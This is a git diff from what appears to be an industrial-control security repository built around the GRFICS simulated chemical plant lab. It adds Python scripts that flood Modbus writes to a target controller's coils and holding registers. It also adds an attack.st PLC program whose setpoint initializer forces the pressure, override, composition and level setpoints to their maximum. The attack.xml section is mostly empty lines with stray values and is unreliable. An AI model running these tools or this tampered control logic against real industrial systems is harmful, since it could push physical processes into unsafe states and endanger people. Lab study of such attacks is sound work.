ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + 